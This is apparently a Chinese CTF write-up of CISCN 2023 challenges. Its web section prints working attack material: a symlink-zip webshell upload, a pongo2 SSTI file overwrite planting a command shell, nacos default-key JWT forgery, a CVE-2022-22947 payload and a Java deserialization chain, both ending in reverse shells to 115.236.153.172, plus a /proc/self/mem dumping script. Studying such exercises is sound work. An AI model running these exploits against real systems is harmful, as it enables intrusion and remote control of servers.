前言
比赛那两天感冒了直接大脑宕机,赛后看看还是能学到很多东西的
2024.5.17:太晚了,现在才复现完。。
参考:
https://exp10it.io/2023/05/2023-ciscn-%E5%88%9D%E8%B5%9B-web-writeup/
https://blog.csdn.net/m0_46246804/article/details/131881941
https://www.yuque.com/misery333/sz1apr/pu2fcu7s6bg10333
初赛
WEB
Unzip
文件上传
推荐搜索关键字:web unzip
进入题目点下上传按钮就可以看到题目的源码
<?php
error_reporting(0);
highlight_file(__FILE__);
$finfo = finfo_open(FILEINFO_MIME_TYPE);
if (finfo_file($finfo, $_FILES["file"]["tmp_name"]) === 'application/zip'){
exec('cd /tmp && unzip -o ' . $_FILES["file"]["tmp_name"]);
};
//only this!
可以发现这题要求我们传入压缩包,然后会传入/tmp下的随机目录,那么接下来需要做的就是想想怎么得知传入文件的位置以获取shell
这里就需要采用linux的软连接
我们先在linux环境下生成一个指向/var/www/html
的软连接cmd
ln -s /var/www/html cmd
然后将其压缩(一定要用命令zip -y压缩)
zip -y cmd.zip cmd
这就是我们要上传的第一个压缩包
然后写一个一句话木马1.php
放在/cmd
文件夹下,将整个cmd文件夹压缩为cmd1.zip,这就是第二个上传的压缩包
两个压缩包的原理详见我的文章linux软连接
按顺序上传两个压缩包(ctfshow的复现环境需要我们本地自己强制上传,这里也贴上本地代码)
<!--
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2023-05-29 09:44:50
# @Last Modified by: h1xa
# @Last Modified time: 2023-05-29 12:15:00
# @email: h1xa@ctfer.com
# @link: https://ctfer.com
-->
<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>本地文件上传</title>
</head>
<body>
<form action="改成要上传的网址" enctype="multipart/form-data" method="post">
<input type="file" name="file">
<input type="submit" value="upload">
</form>
</body>
</html>
成功getshell
那直接cat /flag_is_here.txt
即可
dumpit
并不是sql注入,而是命令执行
因为sql查询语句本质上也是一个命令执行,题目中存在%0a截断,所以截断后执行命令就行
(这题尚且没有环境复现,只能先云一云)
大多数人的解法都是非预期直接env
看环境变量发现flag
cat不能读flag,应该是权限不足,预期解好像只有dump是具有读取权限的,猜测要提权(?
go_session
go pongo2 ssti + flask文件覆盖
main.go
package main
import (
"github.com/gin-gonic/gin"
"main/route"
)
func main() {
r := gin.Default()
r.GET("/", route.Index)
r.GET("/admin", route.Admin)
r.GET("/flask", route.Flask)
r.Run("0.0.0.0:80")
}
给了三个路由,我们分开审route.go
首先是根路由,session由 gorilla/sessions 实现, 并且 session key 从环境变量中获得
var store = sessions.NewCookieStore([]byte(os.Getenv("SESSION_KEY")))
func Index(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
session.Values["name"] = "guest"
err = session.Save(c.Request, c.Writer)
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
}
c.String(200, "Hello, guest")
}
判断cookie,如果是空就设置为guest,且固定返回Hello, guest
然后是/admin路由
func Admin(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] != "admin" {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
name := c.DefaultQuery("name", "ssti")
xssWaf := html.EscapeString(name)
tpl, err := pongo2.FromString("Hello " + xssWaf + "!")
if err != nil {
panic(err)
}
out, err := tpl.Execute(pongo2.Context{"c": c})
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
c.String(200, out)
}
session伪造
判断session中name的值是否为admin,那么首先需要进行session伪造,这里比较离谱的地方是题目服务器上并没有设置SESSION_KEY
,而os.Getenv
如果获取不存在的环境变量就会返回空值,于是我们只需要在本地自己用空key生成一个session.Values["name"] = "admin"
即可
可以看到一开始会进去赋值guest ,现在我们自行改成赋一个admin即可
if session.Values["name"] == nil || session.Values["name"] == "guest" {
session.Values["name"] = "admin"
得到session值MTcxNTg2OTUxM3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw4MCHU5c5wqaagdWzNYTV_VOxfy4OXoPemn9Jpxqq-GA==
把返回的cookie值取出来,访问/admin路由
此时就能过判断条件了
SSTI
然后是tpl.Execute(pongo2.Context{"c": c})
,pongo2的模板渲染,这里存在ssti。在tpl.execute
的时候是把c也放进去了的,这个c代表着gin里的上下文对象,这样我们就可以引用Context
下的所有函数了,我们跟进一下gin.Context
看看有什么函数可以利用的(其实可以直接翻文档https://pkg.go.dev/github.com/gin-gonic/gin)
发现存在文件上传的函数
func (c *Context) SaveUploadedFile(file *multipart.FileHeader, dst string) error {
src, err := file.Open()
if err != nil {
return err
}
defer src.Close()
if err = os.MkdirAll(filepath.Dir(dst), 0750); err != nil {
return err
}
out, err := os.Create(dst)
if err != nil {
return err
}
defer out.Close()
_, err = io.Copy(out, src)
return err
}
那么我们可以通过c.SaveUploadedFile(file, file.Filename)
的方式进行文件上传
参考:https://www.imwxz.com/posts/2b599b70.html#template%E7%9A%84%E5%A5%87%E6%8A%80%E6%B7%AB%E5%B7%A7
ssti payload的雏形:
{{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}
最后是/flask路由
func Flask(c *gin.Context) {
session, err := store.Get(c.Request, "session-name")
if err != nil {
http.Error(c.Writer, err.Error(), http.StatusInternalServerError)
return
}
if session.Values["name"] == nil {
if err != nil {
http.Error(c.Writer, "N0", http.StatusInternalServerError)
return
}
}
resp, err := http.Get("http://127.0.0.1:5000/" + c.DefaultQuery("name", "guest"))
if err != nil {
return
}
defer resp.Body.Close()
body, _ := io.ReadAll(resp.Body)
c.String(200, string(body))
}
可以访问后端的flask,还可以用name
参数指定后端要访问的路由,在题目测试的时候发现访问/flask?name=
会产生debug报错界面,说明开了debug,报错信息告诉了我们远程的flask文件路径为/app/server.py
,这里值得注意的是debug模式下是支持文件热更新的
那么我们本地调试的时候可以自己也写一个server.py,结合前面文件上传的函数可以实现覆盖flask文件触发命令执行
题目原始flask文件的内容大概像下面这样:
# -*- coding: utf-8 -*-
from flask import Flask
app = Flask(__name__)
d = {
"h": "hello world!"
}
@app.route("/")
def hello():
return "hello"
if __name__ == "__main__":
app.run(host="127.0.0.1", port=5000, debug=True)
而我们的要上传的payload为:
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
那么接下来的问题是怎么上传,注意到代码渲染前有这样一段xssWaf := html.EscapeString(name)
,会把引号转义,那么前面参考文章里的{{.SaveUploadedFile (.FormFile "file") "/etc/crontab"}}
就用不了了
我们需要换一个方式传入字符串,继续翻gin.Context
,发现这个库里面又包装了Request
和ResponseWriter
,跟进一下发现可以直接读取请求头,这里选择UserAgent
那么构造我们的ssti payload:
{{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}}
构造http请求包
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.UserAgent()),c.Request.UserAgent())}} HTTP/1.1
Host: 7e323704-99b1-4f81-925b-5be0b527f2a1.challenge.ctf.show
Content-Length: 613
Cache-Control: max-age=0
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
User-Agent: /app/server.py
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Cookie: session-name=MTcxNTg2OTUxM3xEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXw4MCHU5c5wqaagdWzNYTV_VOxfy4OXoPemn9Jpxqq-GA==
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Connection: close
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="/app/server.py"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--
payload:
GET /admin?name={{c.SaveUploadedFile(c.FormFile(c.Request.Header.Accept.0),c.Request.Header.Referer.0)}} HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/113.0
Accept: filename
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Referer: E:\\
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryrxtSm5i2S6anueQi
Cookie: session-name=MTY4NTQxODc4MXxEdi1CQkFFQ180SUFBUkFCRUFBQUlfLUNBQUVHYzNSeWFXNW5EQVlBQkc1aGJXVUdjM1J5YVc1bkRBY0FCV0ZrYldsdXy7WOrYaP386kpRTizyXWrsODK1UE5c9AocfIk5qtTjkA==
Upgrade-Insecure-Requests: 1
Content-Length: 591
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="filename"; filename="server.py"
Content-Type: text/plain
from flask import Flask, request
import os
app = Flask(__name__)
@app.route('/shell')
def shell():
cmd = request.args.get('cmd')
if cmd:
return os.popen(cmd).read()
else:
return 'shell'
if __name__== "__main__":
app.run(host="127.0.0.1",port=5000,debug=True)
------WebKitFormBoundaryrxtSm5i2S6anueQi
Content-Disposition: form-data; name="submit"
提交
------WebKitFormBoundaryrxtSm5i2S6anueQi--
然后name参数指定路由,访问/flask?name=/shell?cmd=ls${IFS}/
(NSS的靶机flag在环境变量)
BackendService
nacos jwt 默认密钥未授权漏洞 + Spring Cloud Gateway RCE
jwt默认密钥未授权
参考:https://www.cnblogs.com/backlion/p/17246695.html
这里直接拿默认密钥去试:SecretKey012345678901234567890123456789012345678901234567890123456789
先整个时间戳
然后伪造jwt中的payload
{
"sub": "nacos",
"exp": 1716218968
}
填入密钥
得到eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjIxODk2OH0.jgoi0wZ6Qy5pjhNucAnpPWGnZ9YGXqylGadSsyx7mxI
填到请求头中
Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJuYWNvcyIsImV4cCI6MTcxNjIxODk2OH0.jgoi0wZ6Qy5pjhNucAnpPWGnZ9YGXqylGadSsyx7mxI
于是得到了nacos的token信息
把这个Authorization
带回到我们拦截的请求然后发出去,于是就进后台了
CVE-2022-22947
参考:https://xz.aliyun.com/t/11493
poc:注意给的backend服务里写了配置,Data ID 为 backcfg
并且内容为 json 格式
{
"spring": {
"cloud": {
"gateway": {
"routes": [
{
"id": "exam",
"order": 0,
"uri": "http://example.com/",
"predicates": [
"Path=/echo/**"
],
"filters": [
{
"name": "AddResponseHeader",
"args": {
"name": "result",
"value": "#{new java.lang.String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{'bash', '-c', 'bash -i >& /dev/tcp/115.236.153.172/13314 0>&1'}).getInputStream())).replaceAll('\n','').replaceAll('\r','')}"
}
}
]
}
]
}
}
}
}
发布配置,然后就弹shell了
DeserBug
爆改cc链
hint:
cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
jdk8u202
给了个jar包,解压下来看一下 com 里的源码
Testapp.class
package com.app;
import cn.hutool.http.ContentType;
import cn.hutool.http.HttpUtil;
import java.io.ByteArrayInputStream;
import java.io.ObjectInputStream;
import java.util.Base64;
public class Testapp {
public Testapp() {
}
public static void main(String[] args) {
HttpUtil.createServer(8888).addAction("/", (request, response) -> {
String bugstr = request.getParam("bugstr");
String result = "";
if (bugstr == null) {
response.write("welcome,plz give me bugstr", ContentType.TEXT_PLAIN.toString());
}
try {
byte[] decode = Base64.getDecoder().decode(bugstr);
ObjectInputStream inputStream = new ObjectInputStream(new ByteArrayInputStream(decode));
Object object = inputStream.readObject();
result = object.toString();
} catch (Exception var8) {
Myexpect myexpect = new Myexpect();
myexpect.setTypeparam(new Class[]{String.class});
myexpect.setTypearg(new String[]{var8.toString()});
myexpect.setTargetclass(var8.getClass());
try {
result = myexpect.getAnyexcept().toString();
} catch (Exception var7) {
result = var7.toString();
}
}
response.write(result, ContentType.TEXT_PLAIN.toString());
}).start();
}
}
这个类中会直接对传入的bugstr参数base64解码并反序列化,并且还会调用toString()
方法
注意到题目给了 commons-collections 和 hutool 依赖,hutool是用来起web服务的;而cc依赖的版本是3.2.2,比起存在多条利用链的 3.2.1,这个版本把CC6要用到的InvokerTransformer类干掉了
不过可以想到的是,既然环境专门选择了相对不常见的 hutool 起 web 服务,其中就大概率存在可利用的利用链
Myexpect实例化类
Myexpect.class
package com.app;
import java.lang.reflect.Constructor;
public class Myexpect extends Exception {
private Class[] typeparam;
private Object[] typearg;
private Class targetclass;
public String name;
public String anyexcept;
public Class getTargetclass() {
return this.targetclass;
}
public void setTargetclass(Class targetclass) {
this.targetclass = targetclass;
}
public Object[] getTypearg() {
return this.typearg;
}
public void setTypearg(Object[] typearg) {
this.typearg = typearg;
}
public Object getAnyexcept() throws Exception {
Constructor con = this.targetclass.getConstructor(this.typeparam);
return con.newInstance(this.typearg);
}
public void setAnyexcept(String anyexcept) {
this.anyexcept = anyexcept;
}
public Class[] getTypeparam() {
return this.typeparam;
}
public void setTypeparam(Class[] typeparam) {
this.typeparam = typeparam;
}
public String getName() {
return this.name;
}
public void setName(String name) {
this.name = name;
}
public Myexpect() {
}
}
这个类用来触发getter,其中getAnyexcept
方法有this.targetclass.getConstructor
获取构造方法,然后con.newInstance
即可以实例化一个单参数的类
TrAXFilter连上cc3
这个时候想到cc3里的com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter
于是后半段直接连上cc3即可
TemplatesImpl templatesImpl = new TemplatesImpl();
ClassPool pool = ClassPool.getDefault();
CtClass clazz = pool.get(TemplatesEvilClass.class.getName());
Reflection.setFieldValue(templatesImpl, "_name", "Hello");
Reflection.setFieldValue(templatesImpl, "_bytecodes", new byte[][]{clazz.toBytecode()});
Reflection.setFieldValue(templatesImpl, "_tfactory", new TransformerFactoryImpl());
Myexpect expect = new Myexpect();
expect.setTargetclass(TrAXFilter.class);
expect.setTypeparam(new Class[]{Templates.class});
expect.setTypearg(new Object[]{templatesImpl});
JSONObject调用Myexpect
接下来要找从 readObject / toString 到 put / add 的链子
hint告诉我们cn.hutool.json.JSONObject.put->com.app.Myexpect#getAnyexcept
,即利用链的触发点在cn.hutool.json.JSONObject#put()
方法
自己写一个恶意类测试一下
public class Evil {
public Evil() throws Exception {
Runtime.getRuntime().exec("calc");
}
}
poc:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
public class TmpTest {
public static void main(String[] args) {
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(Evil.class);
JSONObject jsonObject = new JSONObject();
jsonObject.put("whatcanisay", myexpect);
}
}
可以看到成功弹出了计算器,也即最终触发了com.app.Myexpect#getAnyexcept()
方法,并实例化了本地的Evil类
那么接下来找在反序列化阶段能够调用JSONObject#put()
的地方
LazyMap调用JSONObject
这里考虑LazyMap#get
来调用put方法(其实是我弄不出来 JSONObject 的UML图,不然可以发现它实现了Map接口)
早在 CC1 利用链中我们就接触过LazyMap
,经过 LazyMap 修饰后的Map将会在LazyMap#get()
方法被触发时才调用Map#put()
方法将元素放入,而这刚好符合我们对调用JSONObject#put()
的期望
TiedMapEntry调用LazyMap#get
接下来找调用get的地方,CC6链里面我们曾经用TiedMapEntry
来调用get
现在我们直接把cc6加进去
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) throws Exception {
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(Evil.class);
JSONObject jsonObject = new JSONObject();
Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
outerMap.remove("keykey");
setValue(outerMap, "factory", new ConstantTransformer(myexpect));
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray()), "UTF-8"));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
成功实例化evil类
接下来拼cc3,用javassist得到字节码
最终exp:
import cn.hutool.json.JSONObject;
import com.app.Myexpect;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import javassist.CtNewConstructor;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.net.URLEncoder;
import java.util.Base64;
import java.util.HashMap;
import java.util.Map;
public class Exploit {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
CtClass ctClass = pool.makeClass("EvilGeneratedByJavassist");
ctClass.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
CtConstructor ctConstructor = CtNewConstructor.make("public EvilGeneratedByJavassist(){Runtime.getRuntime().exec(\"/usr/bin/kcalc\");\n}", ctClass);
ctClass.addConstructor(ctConstructor);
byte[] byteCode = ctClass.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setValue(templates, "_name", "whatever");
setValue(templates, "_bytecodes", new byte[][]{byteCode});
setValue(templates, "_tfactory", new TransformerFactoryImpl());
Myexpect myexpect = new Myexpect();
myexpect.setTargetclass(TrAXFilter.class);
myexpect.setTypeparam(new Class[]{Templates.class});
myexpect.setTypearg(new Object[]{templates});
JSONObject jsonObject = new JSONObject();
Map outerMap = LazyMap.decorate(jsonObject, new ConstantTransformer("whatever"));
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap, "keykey");
Map hashMap = new HashMap();
hashMap.put(tiedMapEntry, "value");
outerMap.remove("keykey");
setValue(outerMap, "factory", new ConstantTransformer(myexpect));
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashMap);
System.out.println(URLEncoder.encode(Base64.getEncoder().encodeToString(barr.toByteArray()), "UTF-8"));
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
ois.readObject();
}
public static void setValue(Object obj, String name, Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}
注:这里我自己把本地的javassist和DeserBug.jar包添加为了当前项目库
成功弹计算器,接下来打远程弹shell即可
Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xMTUuMjM2LjE1My4xNzIvMTMzMTQgMD4mMQ==}|{base64,-d}|{bash,-i}");
总结一下链子:
HashMap
->readObject()
->hash(key)
TiedMapEntry
->hashCode()
->getValue()
->map.get(key)
LazyMap
->get(key)
->this.map.put(key, value)
JSONObject
->put(...,value)
->value.getter
Myexpect
->getAnyexcept()
//这里可以调用可控类的可控参数的构造器
TrAXFilter
->TrAXFilter(templates)
->templates.newTransformer()
TemplatesImpl
->newTransformer()
reading
任意文件读取读内存算key + 时间戳爆破
做题环境有点苛刻(指时间戳爆破读取纳秒)
复现环境参考:https://www.yuque.com/dat0u/ctf/uyn4u57d8dih5i01
app.py
# -*- coding:utf8 -*-
import os
import math
import time
import hashlib
from flask import Flask, request, session, render_template, send_file
from datetime import datetime
app = Flask(__name__)
app.secret_key = hashlib.md5(os.urandom(32)).hexdigest()
key = hashlib.md5(str(time.time_ns()).encode()).hexdigest()
books = os.listdir('./books')
books.sort(reverse=True)
@app.route('/')
def index():
if session:
book = session['book']
page = session['page']
page_size = session['page_size']
total_pages = session['total_pages']
filepath = session['filepath']
words = read_file_page(filepath, page, page_size)
return render_template('index.html', books=books, words=words)
return render_template('index.html', books=books)
@app.route('/books', methods=['GET', 'POST'])
def book_page():
if request.args.get('book'):
book = request.args.get('book')
elif session:
book = session.get('book')
else:
return render_template('index.html', books=books, message='I need book')
book = book.replace('..', '.')
filepath = './books/' + book
if request.args.get('page_size'):
page_size = int(request.args.get('page_size'))
elif session:
page_size = int(session.get('page_size'))
else:
page_size = 3000
total_pages = math.ceil(os.path.getsize(filepath) / page_size)
if request.args.get('page'):
page = int(request.args.get('page'))
elif session:
page = int(session.get('page'))
else:
page = 1
words = read_file_page(filepath, page, page_size)
prev_page = page - 1 if page > 1 else None
next_page = page + 1 if page < total_pages else None
session['book'] = book
session['page'] = page
session['page_size'] = page_size
session['total_pages'] = total_pages
session['prev_page'] = prev_page
session['next_page'] = next_page
session['filepath'] = filepath
return render_template('index.html', books=books, words=words)
@app.route('/flag', methods=['GET', 'POST'])
def flag():
if hashlib.md5(session.get('key').encode()).hexdigest() == key:
return os.popen('/readflag').read()
else:
return "no no no"
def read_file_page(filename, page_number, page_size):
for i in range(3):
for j in range(3):
size = page_size + j
offset = (page_number - 1) * page_size + i
try:
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(size)
return words.decode().split('\n')
except Exception as e:
pass
# if error again
offset = (page_number - 1) * page_size
with open(filename, 'rb') as file:
file.seek(offset)
words = file.read(page_size)
return words.split(b'\n')
if __name__ == '__main__':
app.run(host='0.0.0.0', port='8000')
exp:
import os,requests,re
def dowload(file,offset=0,length=0):
if offset:
page = int(offset) // int(length)
print(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
res=requests.get(f"{url}books?book=.../.../.../.../...{file}&page={str(page)}&page_size={length}")
else:
res = requests.get(f"{url}books?book=.../.../.../.../...{file}&page=1&page_size=2000000000")
text=res.text
return text
url="http://1.1.1.1:12345/"
# 读取/proc/self/maps
maps = open(f'maps', 'wb')
maps.write(dowload("/proc/self/maps").encode())
maps.close()
# 清空本地save目录
os.system("rm -rf ./save;mkdir save")
for i in open('maps','r').read().split('\n'):
if ".so" in i or "lib" in i or"python3" in i or"dev" in i:
continue
t = re.search(r'[0-9a-f]{12}-[0-9a-f]{12}', i)
if t:
location = t.group().split("-")
else:
continue
try:
start, end="0x"+location[0],"0x"+location[1]
except:
continue
print("./save/"+start+"-"+end)
save = open(
"./save/"+start+"-"+end,"wb"
)
save.write(
dowload(
"/proc/self/mem",
str(int(start,16)),
str(int(end,16)-int(start,16))
).encode()
)
REVERSE
babyRE
异或
xml+snap
推荐搜索关键词:ctf snap xml
下载题目附件得到xml文件
在开头发现一个链接,打开是一个snap的网站(貌似是个适合小孩子的编程语言)
点击网站中的run snap!,将xml文件拖入
在lock段发现主要的源代码和逻辑
可以看到左边有一个长度为29的数组,右边有一个异或的代码段
那我们就编写python脚本跑一下获取flag即可
a = [
102, 10, 13, 6, 28, 74, 3, 1, 3, 7, 85, 0, 4, 75, 20, 92, 92, 8, 28, 25,
81, 83, 7, 28, 76, 88, 9, 0, 29, 73, 0, 86, 4, 87, 87, 82, 84, 85, 4, 85,
87, 30
]
flag = 'f'
for i in range(1, len(a)):
a[i] = a[i - 1] ^ a[i]
flag += chr(a[i])
print(flag)
# flag{12307bbf-9e91-4e61-a900-dd26a6d0ea4c}
Crypto
Sign_in_passwd
换表base64
下载题目附件,得到两行字符(第二行需经过url解码)
j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D
GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF5
是换表base64
脚本解:
import base64
import string
from Crypto.Util.number import *
str1 = "j2rXjx8yjd=YRZWyTIuwRdbyQdbqR3R9iZmsScutj2iqj3/tidj1jd=D"
new = "GHI3KLMNJOPQRSTUb=cdefghijklmnopWXYZ/12+406789VaqrstuvwxyzABCDEF"
inti = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"
print (base64.b64decode(str1.translate(str.maketrans(new,inti))))
# 输出
# b'flag{8e4b2888-6148-4003-b725-3ff0d93a6ee4}'
MISC
被加密的生产流量
下载题目附件,追踪modbus流量包的tcp流发现base32,解码获得flag
法2:nss上看见大佬写的自动提取脚本,copy来用一下(
import pyshark
flag = ''
tmp = 0
cap = pyshark.FileCapture(input_file="modbus.pcap",tshark_path='D:\WireShark\Wireshark.exe',display_filter='modbus && frame.len == 66')
def hex2str(id:str) -> str:
return str(bytes.fromhex(id)).replace("b","").replace("\'","")
for p in cap:
try:
if len(p.modbus.word_cnt) == 5:
tmp = p.modbus.word_cnt
tmp = str(hex(int(p.modbus.word_cnt))).replace("0x","")
flag = flag + tmp
except:
pass
flag = hex2str(flag)
print(flag)
# 输出
# MMYWMX3GNEYWOXZRGAYDA=
pyshell
python
nc连上靶机,回显”Welcome to this python shell,try to find the flag!”
得知是一个python的交互环境
经过测试发现最大输入长度只能为7,否则会返回”nop”
题目描述说flag在/flag
那就先直接cat /flag
而在python的交互环境下,命令执行的语句是
__import__('os').system('cat /flag')
接下来的问题就是怎么绕过这个长度限制
我们知道linux的环境变量中有一个_
会记录上一次的表达结果,其实python交互环境下也是如此
所以我们接下来分别输入以下内容即可获取flag
'__imp'
_+'ort'
_+'__('
_+"'os"
_+"')."
_+"sys"
_+"tem"
_+"('c"
_+"at "
_+"/fl"
_+"ag'"
_+")"
eval(_)
分区赛
[CISCN 2023 华北]ez_date
反序列化
<?php
error_reporting(0);
highlight_file(__FILE__);
class date{
public $a;
public $b;
public $file;
public function __wakeup()
{
if(is_array($this->a)||is_array($this->b)){
die('no array');
}
if( ($this->a !== $this->b) && (md5($this->a) === md5($this->b)) && (sha1($this->a)=== sha1($this->b)) ){
$content=date($this->file);
$uuid=uniqid().'.txt';
file_put_contents($uuid,$content);
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
echo file_get_contents($data);
}
else{
die();
}
}
}
unserialize(base64_decode($_GET['code']));
审计代码,ban掉了数组,要进行md5和sha1的强比较,我们可以用字符串与数字的弱类型特性绕过
测试:
<?php
echo (md5(1)===md5("1"));
echo "\n";
echo (sha1(1)===sha1("1"));
date
函数:
格式化一个本地时间/日期
这个函数有一个特性:可以在格式字串中的字符前加上反斜线来转义
测试:
<?php
echo date("/flag");
// 返回/fMondaypm1
echo date("/f\l\a\g");
// 返回/flag
意义不明的正则表达式匹配
$data=preg_replace('/((\s)*(\n)+(\s)*)/i','',file_get_contents($uuid));
(\s)*
: 匹配零个或者多个空白字符 空格 制表符 换页符(\n)+
: 匹配一个或多个换行符/i
: 匹配时不区分大小写
exp:
<?php
class date{
public $a=1;
public $b='1';
public $file="/f\l\a\g";
}
$a=new date();
echo(base64_encode(serialize(($a))));